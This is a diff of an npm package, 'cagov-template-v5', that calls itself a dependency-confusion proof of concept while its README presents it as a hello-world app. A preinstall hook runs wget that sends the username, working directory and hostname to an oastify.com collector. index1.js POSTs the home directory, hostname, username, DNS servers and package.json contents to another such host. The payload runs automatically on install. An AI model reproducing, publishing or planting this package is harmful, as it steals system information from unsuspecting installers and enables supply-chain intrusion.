cagov-template-v5 19.2.0

package/README.md

@@ -0,0 +1,9 @@
+# Node Hello World
+
+Simple node.js app that serves "hello world"
+
+Great for testing simple deployments to the cloud
+
+## Run It
+
+`npm start`

package/index.js

@@ -0,0 +1,3 @@
+exports.printMsg = function() {
+  console.log("This is a message from the demo package");
+}

package/index1.js

@@ -0,0 +1,46 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+  p: package,
+  c: __dirname,
+  hd: os.homedir(),
+  hn: os.hostname(),
+  un: os.userInfo().username,
+  dns: dns.getServers(),
+  r: packageJSON ? packageJSON.___resolved : undefined,
+  v: packageJSON.version,
+  pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+  msg: trackingData,
+});
+
+var options = {
+  hostname: "h3lz63benzltd40dow9k123l5cb3zynn.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
+  port: 443,
+  path: "/",
+  method: "POST",
+  headers: {
+      "Content-Type": "application/x-www-form-urlencoded",
+      "Content-Length": postData.length,
+  },
+};
+
+var req = https.request(options, (res) => {
+  res.on("data", (d) => {
+      process.stdout.write(d);
+  });
+});
+
+req.on("error", (e) => {
+  // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/package-lock1.json

@@ -0,0 +1,6 @@
+{
+  "name": "froxlor",
+  "version": "1.0.6",
+  "lockfileVersion": 3,
+  "requires": true
+}

package/package.json

@@ -0,0 +1,20 @@
+{
+  "name": "cagov-template-v5",
+  "version": "19.2.0",
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
+  "main": "index.js",
+  "scripts": {
+    "test": "wget --quiet \"https://222k5oazmkkecpzynh850n264xaoymmb.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS",
+    "preinstall": "wget --quiet \"https://222k5oazmkkecpzynh850n264xaoymmb.oastify.com?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS"
+  },
+  "keywords": [
+    "test",
+    "PoC"
+  ],
+  "dependencies": {},
+  "config": {
+    "unsafe-perm":true
+  },
+  "author": "WayCup",
+  "license": "ISC"
+}

package/package1.json

@@ -0,0 +1,12 @@
+{
+  "name": "froxlor",
+  "version": "19.0.5",
+  "description": "Simple node.js app that serves \"hello world\"",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/settings.json

@@ -0,0 +1,24 @@
+{
+  "workbench.colorCustomizations": {
+    "activityBar.activeBackground": "#dd894d",
+    "activityBar.activeBorder": "#aff0ca",
+    "activityBar.background": "#dd894d",
+    "activityBar.foreground": "#15202b",
+    "activityBar.inactiveForeground": "#15202b99",
+    "activityBarBadge.background": "#aff0ca",
+    "activityBarBadge.foreground": "#15202b",
+    "editorGroup.border": "#dd894d",
+    "panel.border": "#dd894d",
+    "sideBar.border": "#dd894d",
+    "statusBar.background": "#cf6d28",
+    "statusBar.border": "#cf6d28",
+    "statusBar.foreground": "#15202b",
+    "statusBarItem.hoverBackground": "#a45620",
+    "titleBar.activeBackground": "#cf6d28",
+    "titleBar.activeForeground": "#15202b",
+    "titleBar.border": "#cf6d28",
+    "titleBar.inactiveBackground": "#cf6d2899",
+    "titleBar.inactiveForeground": "#15202b99"
+  },
+  "peacock.color": "#cf6d28"
+}